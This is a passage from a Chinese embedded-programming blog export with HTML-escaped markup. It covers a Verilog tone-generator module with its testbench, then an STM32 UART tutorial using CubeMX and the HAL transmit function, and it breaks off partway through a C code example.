number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e28\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e slowsweep \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e fastsweep\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_hign\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//初始化输入信号\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ehign hign_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//input clk\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//output speaker\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/1.png\" alt=\"1\"/\u003e\u003c/p\u003e\u003cp\u003e可以看出间隔确实是变化的,仿真波形图里第一个频率经过计算为912Hz,符合要求。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e待续……\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"http://http//blog.ksfu.top/posts/f804/"},{"title":"STM32\u0026UART串口通信(使用CubeMX)","time":"2022-05-08T14:54:19Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"STM32-UART通信\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#STM32-UART%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"STM32 UART通信\"\u003e\u003c/a\u003eSTM32 UART通信\u003c/h1\u003e\u003cp\u003e\u003cdel\u003e令人感慨,大二上学期不知道这玩意的我,是怎么把广和通项目糊出来的?\u003c/del\u003e\u003c/p\u003e\u003cp\u003e写完咯 ~ \u003cdel\u003e还没写完\u003c/del\u003e\u003c/p\u003e\u003ch2 id=\"参考链接\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"headerlink\" title=\"参考链接\"\u003e\u003c/a\u003e参考链接\u003c/h2\u003e\u003cp\u003e研究原理啥的还是看看参考的博客的好~\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e[\u003ca href=\"https://www.emoe.xyz/bonjour-stm32-uart-communication/\"\u003eBonjour STM32] No.7-demo 4.串口通信 - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.emoe.xyz/ee_tutorial_04/\"\u003e电子入门教程[04]-喂?zaima? - Emoe-Studio\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/menlsh/archive/2013/01/28/2880580.html\"\u003e串口通信与编程01:串口基础知识 - 依旧淡然 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10793111.html\"\u003e基于STM32之UART串口通信协议(一)详解 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10798193.html\"\u003e基于STM32之UART串口通信协议(二)发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/10809000.html\"\u003e基于STM32之UART串口通信协议(三)接收 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/ChurF-Lin/p/11139901.html\"\u003e基于STM32之UART串口通信协议(四)Printf发送 - LLLIN000 - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://www.cnblogs.com/milton/p/14711577.html\"\u003eSTM32 printf 方法重定向到串口UART - Milton - 博客园 (cnblogs.com)\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://blog.csdn.net/ForeverIT/article/details/82263142\"\u003eSTM32 Uart 实现printf函数_ForeverIT的博客-CSDN博客_stm32 实现printf\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"串口通信\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E4%B8%B2%E5%8F%A3%E9%80%9A%E4%BF%A1\" class=\"headerlink\" title=\"串口通信\"\u003e\u003c/a\u003e串口通信\u003c/h2\u003e\u003cp\u003e串口是串行接口(serial port)的简称,也称为串行通信接口或COM接口。\u003c/p\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKcqI.jpg\" style=\"zoom: 67%;\"/\u003e\u003cimg src=\"https://s2.ax1x.com/2020/02/11/1TKyMd.jpg\" style=\"zoom:67%;\"/\u003e\u003cp\u003e串口通信是指采用串行通信协议(serial communication)在一条信号线上将数据一个比特一个比特地逐位进行传输的通信模式。\u003c/p\u003e\u003cp\u003e串口按电气标准及协议来划分,包括RS-232-C、RS-422、RS485等。\u003c/p\u003e\u003cp\u003e在串行通信中,数据在1位宽的 \u003cstrong\u003e单条线路\u003c/strong\u003e 上进行传输,一个字节的数据要分为8次,由低位到高位按顺序一位一位的进行传送。\u003c/p\u003e\u003cp\u003e串行通信的数据是逐位传输的,发送方发送的每一位都具有固定的时间间隔,这就要求接收方也要按照发送方同样的时间间隔来接收每一位。不仅如此,接收方还必须能够确定一个信息组的开始和结束。\u003c/p\u003e\u003cp\u003e常用的两种基本串行通信方式包括同步通信和异步通信。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e然后剩下的可以去参考链接继续了解了~\u003c/strong\u003e \u003cspan class=\"diana_yiyanzhen\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch2 id=\"UART简介\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART%E7%AE%80%E4%BB%8B\" class=\"headerlink\" title=\"UART简介\"\u003e\u003c/a\u003eUART简介\u003c/h2\u003e\u003cp\u003e嵌入式开发中,UART串口通信协议是我们常用的通信协议(UART、I2C、SPI等)之一,全称叫做通用异步收发传输器(Universal Asynchronous Receiver/Transmitter),是 \u003cstrong\u003e异步串口通信协议\u003c/strong\u003e 的一种,工作原理是将传输数据的每个字符一位接一位地传输,它能将要传输的资料在串行通信与并行通信之间加以转换,能够灵活地与外部设备进行全双工数据交换。\u003cspan class=\"ava_datou\"\u003e\u003c/span\u003e\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eUSART\u003c/strong\u003e 相当于UART的升级版,USART支持同步模式,因此USART 需要同步始终信号USART_CK(如STM32 单片机),通常情况同步信号很少使用,因此一般的单片机UART和USART使用方式是一样的,都使用异步模式。因为USART的使用方法上跟UART基本相同,所以在此就 \u003cstrong\u003e以UART\u003c/strong\u003e 来讲该通信协议了。\u003c/p\u003e\u003ch2 id=\"UART功能说明\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART%E5%8A%9F%E8%83%BD%E8%AF%B4%E6%98%8E\" class=\"headerlink\" title=\"UART功能说明\"\u003e\u003c/a\u003eUART功能说明\u003c/h2\u003e\u003cp\u003e接口通过三个引脚从外部连接到其它设备。任何 USART 双向通信均需要 至少两个引脚:接收数据输入引脚 (RX) 和发送数据引脚输出 (TX):\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e两个系统的GND必须连在一起\u003c/strong\u003e(因为需要有相同的参考电位)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003eRX:\u003c/strong\u003e接收数据输入引脚就是串行数据输入引脚。过采样技术可区分有效输入数据和噪声,从而用于恢复数据。\u003cbr/\u003e\u003cstrong\u003eTX:\u003c/strong\u003e发送数据输出引脚。如果关闭发送器,该输出引脚模式由其 I/O 端口配置决定。如果使 能了发送器但没有待发送的数据,则 TX 引脚处于高电平。在单线和智能卡模式下,该 I/O 用于发送和接收数据(USART 电平下,随后在 SW_RX 上接收数据)。\u003c/p\u003e\u003chr/\u003e\u003cp\u003e具体原理留个坑,先大概了解到这,这次主要是通过 \u003cstrong\u003eCubeMX\u003c/strong\u003e 使用UART进行通信~\u003cspan class=\"diana_bixin\"\u003e\u003c/span\u003e\u003c/p\u003e\u003chr/\u003e\u003ch2 id=\"波特率\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E6%B3%A2%E7%89%B9%E7%8E%87\" class=\"headerlink\" title=\"波特率\"\u003e\u003c/a\u003e波特率\u003c/h2\u003e\u003cp\u003e波特率的单位是 \u003cstrong\u003eBits/s\u003c/strong\u003e,很好理解, \u003cstrong\u003e每一位的传输时间\u003c/strong\u003e 。这个参数决定了串口传输数据的速度,115200,这是串口常用的波特率里很快的一个速度了,但是计算一下,11.5kbits/s,除以8换算成字节,也就是不到2kBytes/s,每秒传输一千多个字节的数据,就是这样一个速度了——比较老的USB2.0的U盘拷贝文件的速度大概在几个MBytes到十几MBytes每秒之间,对比一下可见串口这玩意确实是一个在速度上十分落后的通信接口了。\u003c/p\u003e\u003cp\u003e如何计算?比如我们的波特率是9600,那么每一位传输的时间是1/9600 s,意思就是说如果接连不断地发送数据帧,按照11bit长度计算,1秒钟可以发送9600/11=872.7,也就是差不多872个数据帧,也就是872字节。按照ASCII字母来说,872个英文字母/s,够直观了8~\u003c/p\u003e\u003ch2 id=\"CubeMX配置\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#CubeMX%E9%85%8D%E7%BD%AE\" class=\"headerlink\" title=\"CubeMX配置\"\u003e\u003c/a\u003eCubeMX配置\u003c/h2\u003e\u003cp\u003e本次使用 STM32F405RGT6\u003c/p\u003e\u003ch3 id=\"配置时钟\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E9%85%8D%E7%BD%AE%E6%97%B6%E9%92%9F\" class=\"headerlink\" title=\"配置时钟\"\u003e\u003c/a\u003e配置时钟\u003c/h3\u003e\u003cp\u003e选择外部晶振,然后时钟拉到最高~\u003c/p\u003e\u003cp\u003e)用一张之前的图,意思差不多\u003c/p\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/0.webp\" style=\"zoom:80%;\"/\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\" alt=\"4\"/\u003e\u003c/p\u003e\u003ch4 id=\"设置调试接口\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E8%AE%BE%E7%BD%AE%E8%B0%83%E8%AF%95%E6%8E%A5%E5%8F%A3\" class=\"headerlink\" title=\"设置调试接口\"\u003e\u003c/a\u003e设置调试接口\u003c/h4\u003e\u003cp\u003e)照着参考链接来\u003c/p\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/uart/0.webp\"/\u003e\u003c/p\u003e\u003ch3 id=\"配置串口\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E9%85%8D%E7%BD%AE%E4%B8%B2%E5%8F%A3\" class=\"headerlink\" title=\"配置串口\"\u003e\u003c/a\u003e配置串口\u003c/h3\u003e\u003cp\u003e先启用,选择异步通信;然后波特率保持默认的 115200 就行\u003c/p\u003e\u003cimg src=\"http://http/img/posts/uart/1.webp\" alt=\"1\"/\u003e\u003ch3 id=\"选择生成必要的代码\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E9%80%89%E6%8B%A9%E7%94%9F%E6%88%90%E5%BF%85%E8%A6%81%E7%9A%84%E4%BB%A3%E7%A0%81\" class=\"headerlink\" title=\"选择生成必要的代码\"\u003e\u003c/a\u003e选择生成必要的代码\u003c/h3\u003e\u003cp\u003e\u003cimg src=\"http://http/img/posts/uart/2.webp\" alt=\"2\"/\u003e\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e1.Copy all used libraries into the project folder\u003c/p\u003e\u003cp\u003e将所有使用过的库复制到项目文件夹中。\u003c/p\u003e\u003cp\u003e不管你用,还是没有用到,都拷贝到你工程目录下。这样一来,你工程下文件就比较多。\u003c/p\u003e\u003cp\u003e2.Copy only the necessary library files \u003c/p\u003e\u003cp\u003e只复制必要的库文件。\u003c/p\u003e\u003cp\u003e这个相比上一个减少了很多文件。比如你没有使用CAN、SPI…等外设,就不会拷贝相关库文件到你工程下。\u003c/p\u003e\u003cp\u003e3.Add necessary library files as reference in the toolchain project configuration file \u003c/p\u003e\u003cp\u003e在工具链项目配置文件中添加必要的库文件作为参考。\u003c/p\u003e\u003cp\u003e这里没有复制HAL库文件,只添加了必要文件(如main.c)。相比上面,没有Drivers相关文件。\u003c/p\u003e\u003c/blockquote\u003e\u003cblockquote\u003e\u003cp\u003eGenerate peripheral initialization as a pair of’.c/.h’ files per peripheral\u003c/p\u003e\u003cp\u003e每个外设生成独立的’.c/.h’文件\u003c/p\u003e\u003cp\u003e不勾:所有初始化代码都生成在main.c\u003c/p\u003e\u003cp\u003e勾选:初始化代码生成在对应的外设文件。 如UART初始化代码生成在uart.c中。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e)其他配置啥的可以上网搜搜具体意思\u003c/p\u003e\u003ch2 id=\"UART-发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#UART-%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"UART 发送\"\u003e\u003c/a\u003eUART 发送\u003c/h2\u003e\u003cp\u003e主要使用到的函数为\u003c/p\u003e\u003cp\u003e在 \u003ccode\u003estm32f4xx_hal_uart.c\u003c/code\u003e 中\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003eHAL_StatusTypeDef \u003cspan class=\"token function\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eUART_HandleTypeDef \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehuart\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003epData\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e Size\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e Timeout\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cul\u003e\u003cli\u003ehuart :选择用来发送的UART串口\u003c/li\u003e\u003cli\u003epData :指向将要发送的数据的指针\u003c/li\u003e\u003cli\u003eSize :发送数据的大小\u003c/li\u003e\u003cli\u003eTimeout:超时时间\u003c/li\u003e\u003c/ul\u003e\u003c/blockquote\u003e\u003ch3 id=\"直接发送\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/b619/#%E7%9B%B4%E6%8E%A5%E5%8F%91%E9%80%81\" class=\"headerlink\" title=\"直接发送\"\u003e\u003c/a\u003e直接发送\u003c/h3\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e定义一个数组\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//数组内十六进制代表“ABCDE”\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"token keyword\"\u003echar\u003c/span\u003e uTx_Data\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token 